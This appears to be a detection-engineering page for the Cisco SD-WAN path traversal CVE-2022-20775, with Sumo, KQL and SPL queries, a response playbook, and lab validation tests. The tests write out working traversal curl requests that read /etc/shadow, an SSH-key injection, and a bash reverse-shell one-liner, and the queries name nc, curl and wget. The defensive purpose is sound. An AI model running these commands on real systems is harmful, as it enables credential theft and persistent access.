CVE-2022-20775 Sumo Logic CSE · Sumo

Detect CVE-2022-20775 — Cisco SD-WAN Path Traversal Exploitation Attempt in Sumo Logic CSE

Detects exploitation attempts targeting CVE-2022-20775, a path traversal vulnerability (CWE-25, CWE-282) in Cisco SD-WAN software. Successful exploitation may allow an authenticated attacker to read or write arbitrary files on the underlying operating system, potentially leading to privilege escalation or persistent access. This CVE is listed in CISA's Known Exploited Vulnerabilities catalog.

MITRE ATT&CK

Tactic
Initial Access Privilege Escalation Defense Evasion

Sumo Detection Query

Sumo Logic CSE (Sumo)
sql 
_sourceCategory=cisco/sdwan OR _sourceCategory=linux/syslog OR _sourceCategory=network/proxy
| parse regex "(?<traversal_hit>(?:\.\./|%2e%2e%2f|%252e%252e|\.\.%2f|%2e%2e/))" nodrop
| parse regex "(?<sdwan_path>/(?:dataservice|template|device|vmanage)[^\s]*)" nodrop
| parse regex "(?<sdwan_proc>vdaemon|vmanage|vbond|vsmart)" nodrop
| parse regex "(?<susp_cmd>\b(?:bash|sh|python3?|curl|wget|nc|ncat)\b)" nodrop
| where (traversal_hit != "" and sdwan_path != "") or (sdwan_proc != "" and susp_cmd != "")
| fields _sourcehost, _sourcecategory, traversal_hit, sdwan_path, sdwan_proc, susp_cmd, _raw
| count by _sourcehost, traversal_hit, sdwan_proc
| where _count > 0
| sort by _count desc
critical severity medium confidence

Identifies path traversal patterns in Cisco SD-WAN API traffic and suspicious command execution spawned from SD-WAN processes using Sumo Logic field parsing.

Data Sources

Cisco SD-WAN LogsLinux SyslogNetwork Proxy

Required Tables

cisco/sdwanlinux/syslognetwork/proxy

False Positives & Tuning

  • API gateway or load balancer URL normalization that retains encoded traversal-like sequences
  • Security tooling performing authorized assessments of vManage endpoints
  • Legitimate scripted configurations that spawn shells transiently for SD-WAN onboarding

Other platforms for CVE-2022-20775

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Cisco SD-WAN vManage Path Traversal File Read via API

    Expected signal: HTTP request log entry with traversal sequence in URI; if successful, HTTP 200 response with /etc/passwd content; file access audit event for /etc/passwd by vManage process

  2. Test 2Cisco SD-WAN Percent-Encoded Path Traversal Bypass

    Expected signal: HTTP access log entry with double-encoded sequence; IDS/WAF alert if deployed; server-side decode of %25 sequences visible in application logs

  3. Test 3SD-WAN Post-Exploitation SSH Key Injection via Traversal Write

    Expected signal: HTTP POST to path traversal URI; file modification event on /root/.ssh/authorized_keys; audit log entry showing vManage process writing to /root/.ssh/

  4. Test 4Simulate SD-WAN Daemon Spawning Reverse Shell

    Expected signal: Process creation event: parent=vmanage, child=bash with -i flag and TCP redirect in command line; network connection from bash process to 127.0.0.1:4444; EDR alert on shell spawned by non-interactive parent

Last updated: 2026-06-19 Research depth: standard
References (4)

Response Playbook

Triage

  1. Confirm the targeted device is a Cisco SD-WAN component (vManage, vBond, vSmart, or vEdge) by correlating the destination IP/hostname with your network asset inventory.
  2. Examine the full HTTP request URI to determine which file or directory path was targeted by the traversal; assess sensitivity of the target path (e.g., /etc/shadow, SSH keys, SD-WAN configuration files).
  3. Check whether the request was authenticated: review session tokens or API credentials associated with the request to determine if an insider threat or compromised credential is involved.
  4. Review SD-WAN system logs (vManage audit logs, syslog) for any POST requests or commands that followed the traversal, indicating successful exploitation rather than a failed attempt.
  5. Cross-reference the source IP against threat intelligence feeds and your organization's known-good IP ranges to determine if this is an external threat actor or internal testing.

Containment

  1. Immediately block the source IP at the perimeter firewall and SD-WAN edge policy to prevent further requests while investigation proceeds.
  2. If exploitation is confirmed, isolate the affected SD-WAN node from the management plane (take vManage offline or restrict management access to a safe jump host) to prevent lateral movement through the SD-WAN fabric.
  3. Rotate all credentials and API tokens associated with the SD-WAN management plane, including vManage administrator accounts and any service accounts with API access.
  4. Apply available Cisco patches or mitigations per Cisco advisory cisco-sa-sd-wan-priv-E6e8tEdF and the CISA ED-26-03 directive requirements.

Evidence Collection

  1. Collect and preserve vManage access logs, audit logs, and system logs from the affected appliance before any remediation that could overwrite them; archive to a write-once evidence store.
  2. Capture a memory dump and disk image of the vManage server if persistent access (webshell, cron, SSH key modification) is suspected, to support forensic analysis of attacker persistence mechanisms.
  3. Export NetFlow or packet capture data for the source IP across the exploitation timeframe to reconstruct the full attack sequence and identify any data exfiltrated.

Escalation Criteria

  • !Escalate to CISO and incident response leadership if there is evidence that the attacker successfully read /etc/shadow, SSH private keys, or SD-WAN private configurations, as these enable further compromise of the entire SD-WAN fabric.
  • !Escalate immediately if the affected organization is under the scope of CISA Emergency Directive ED-26-03, as mandatory reporting and remediation timelines apply to federal agencies.
  • !Escalate to Cisco TAC and consider threat sharing with CISA if exploitation is confirmed and indicators suggest a sophisticated or nation-state actor targeting network infrastructure.

Investigation Guide

Related Techniques

[object Object][object Object][object Object][object Object]

Forensic Artifacts

  • >vManage HTTP access logs containing URL-encoded path traversal sequences (../, %2e%2e%2f, %252e%252e) in /dataservice/, /template/, or /device/ API endpoints
  • >Linux audit log entries (auditd) showing file open/read syscalls on /etc/passwd, /etc/shadow, or /root/.ssh/authorized_keys by vManage or vdaemon processes
  • >Shell history files (.bash_history) for vmanage or root users showing post-exploitation reconnaissance commands executed after traversal
  • >Cron modifications or new systemd unit files indicating attacker persistence established after successful exploitation
  • >Modified /root/.ssh/authorized_keys or new local user accounts added to the SD-WAN appliance

Tuning Guidance

Reduce false positives by building an allowlist of known management automation source IPs (Ansible control nodes, Cisco DNA Center) that legitimately interact with vManage APIs. Tune the URI pattern matching to exclude base64 or standard percent-encoding used by your orchestration platform. If SD-WAN upgrade jobs spawn expected shell processes, capture the specific parent-child process pairs during a maintenance window and add them to an exclusion list keyed by time-of-day and initiating user. For environments with high API call volume, consider raising the threshold to require both the URI traversal pattern AND a subsequent file access or process spawn event before alerting.

Hunting Queries

Retrospective 30-day hunt for any path traversal attempts against Cisco SD-WAN management API endpoints, aggregated by source IP to identify scanning or targeted exploitation campaigns that may have predated the detection rule deployment.

Hunting — KQL
kql 
DeviceNetworkEvents
| where TimeGenerated > ago(30d)
| where RemoteUrl has_any ('../', '%2e%2e%2f', '%252e%252e', '..%2f')
| where RemoteUrl has_any ('/dataservice/', '/template/', '/device/', '/vmanage')
| summarize Attempts = count(), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated) by RemoteIP, DeviceName, RemoteUrl
| where Attempts >= 1
| order by Attempts desc
Hunting — SPL
spl 
index=network OR index=cisco_sdwan earliest=-30d
| regex uri_path="(\.\./|%2e%2e%2f|%252e%252e|\.\.%2f)"
| regex uri_path="(/dataservice/|/template/|/device/|/vmanage)"
| stats count AS attempts, earliest(_time) AS first_seen, latest(_time) AS last_seen BY src_ip, dest_ip, uri_path
| sort -attempts

Threat hunt for historical instances of SD-WAN daemon processes spawning shell commands or utility binaries, which may indicate prior exploitation of CVE-2022-20775 or related privilege escalation vulnerabilities that established persistence.

Hunting — KQL
kql 
DeviceProcessEvents
| where TimeGenerated > ago(30d)
| where InitiatingProcessFileName in~ ('vdaemon', 'vmanage', 'vbond', 'vsmart')
| where FileName in~ ('sh', 'bash', 'python', 'python3', 'curl', 'wget', 'nc', 'ncat', 'chmod', 'useradd')
| project TimeGenerated, DeviceName, InitiatingProcessFileName, FileName, ProcessCommandLine
| order by TimeGenerated desc
Hunting — SPL
spl 
index=linux_syslog earliest=-30d
| regex process="(vdaemon|vmanage|vbond|vsmart)"
| regex command="\b(bash|sh|python3?|curl|wget|nc|ncat|chmod|useradd)\b"
| table _time, host, process, command, user
| sort -_time

Atomic Red Team Tests

Test 1 Cisco SD-WAN vManage Path Traversal File Read via API
linux

Simulates an attacker sending a crafted HTTP GET request to the vManage REST API with a path traversal sequence to attempt reading /etc/passwd from the underlying OS. Lab environment only.

Command

bash 
curl -sk -X GET 'https://VMANAGE_IP:8443/dataservice/template/../../../../etc/passwd' -H 'Content-Type: application/json' -H 'Cookie: JSESSIONID=VALID_SESSION_TOKEN' -o /tmp/traversal_output.txt && cat /tmp/traversal_output.txt

Cleanup

bash 
rm -f /tmp/traversal_output.txt

Expected Telemetry

HTTP request log entry with traversal sequence in URI; if successful, HTTP 200 response with /etc/passwd content; file access audit event for /etc/passwd by vManage process

Expected Detection

Alert on path traversal pattern in vManage API URI matched against /dataservice/ path prefix; network detection rule fires on encoded traversal sequence in HTTP request

Test 2 Cisco SD-WAN Percent-Encoded Path Traversal Bypass
linux

Tests double-encoded path traversal variant (%252e%252e%252f) against vManage to simulate WAF bypass techniques used by sophisticated attackers.

Command

bash 
curl -sk -X GET 'https://VMANAGE_IP:8443/dataservice/device/%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fshadow' -H 'Cookie: JSESSIONID=VALID_SESSION_TOKEN' -v 2>&1 | tee /tmp/encoded_traversal.log

Cleanup

bash 
rm -f /tmp/encoded_traversal.log

Expected Telemetry

HTTP access log entry with double-encoded sequence; IDS/WAF alert if deployed; server-side decode of %25 sequences visible in application logs

Expected Detection

Detection rule variant matching %252e%252e pattern in URL field fires; Elastic EQL or Chronicle YARA-L rule matches on regex pattern covering double encoding

Test 3 SD-WAN Post-Exploitation SSH Key Injection via Traversal Write
linux

Simulates post-exploitation attacker writing an SSH public key to /root/.ssh/authorized_keys via a path traversal write vulnerability on the vManage appliance to establish persistence. Lab only.

Command

bash 
ATTACKER_PUBKEY='ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC... attacker@lab'
curl -sk -X POST 'https://VMANAGE_IP:8443/dataservice/template/../../../root/.ssh/authorized_keys' \
  -H 'Content-Type: text/plain' \
  -H 'Cookie: JSESSIONID=VALID_SESSION_TOKEN' \
  --data "$ATTACKER_PUBKEY"

Cleanup

bash 
ssh root@VMANAGE_IP 'sed -i "/attacker@lab/d" /root/.ssh/authorized_keys'

Expected Telemetry

HTTP POST to path traversal URI; file modification event on /root/.ssh/authorized_keys; audit log entry showing vManage process writing to /root/.ssh/

Expected Detection

File write alert on sensitive path /.ssh/authorized_keys initiated by vManage process; POST method detection rule variant fires; forensic artifact of new SSH key available for collection

Test 4 Simulate SD-WAN Daemon Spawning Reverse Shell
linux

Simulates the post-exploitation behavior of a compromised SD-WAN daemon spawning a bash reverse shell, representing the process execution chain expected after successful CVE-2022-20775 exploitation.

Command

bash 
# Run in a lab environment only — no real network connection
# Simulate vdaemon spawning bash as would occur post-exploitation
sudo -u vmanage bash -c 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1 &'
# In a separate terminal, listen: nc -lvnp 4444

Cleanup

bash 
kill $(pgrep -f 'bash -i.*4444') 2>/dev/null; true

Expected Telemetry

Process creation event: parent=vmanage, child=bash with -i flag and TCP redirect in command line; network connection from bash process to 127.0.0.1:4444; EDR alert on shell spawned by non-interactive parent

Expected Detection

KQL and SPL rules matching InitiatingProcessFileName=vmanage with FileName=bash fire; CrowdStrike CQL rule on ParentImageFileName=vmanage spawning bash triggers; SIEM alert on suspicious parent-child process relationship

Related Detections

Tactic Hubs

TA0001Initial AccessTA0004Privilege EscalationTA0005Defense Evasion

Related Techniques

T1190Exploit Public-Facing ApplicationT1548Abuse Elevation Control MechanismT1083File and Directory DiscoveryT1552.004Private Keys

Same Tactic: Initial Access

Popular Detections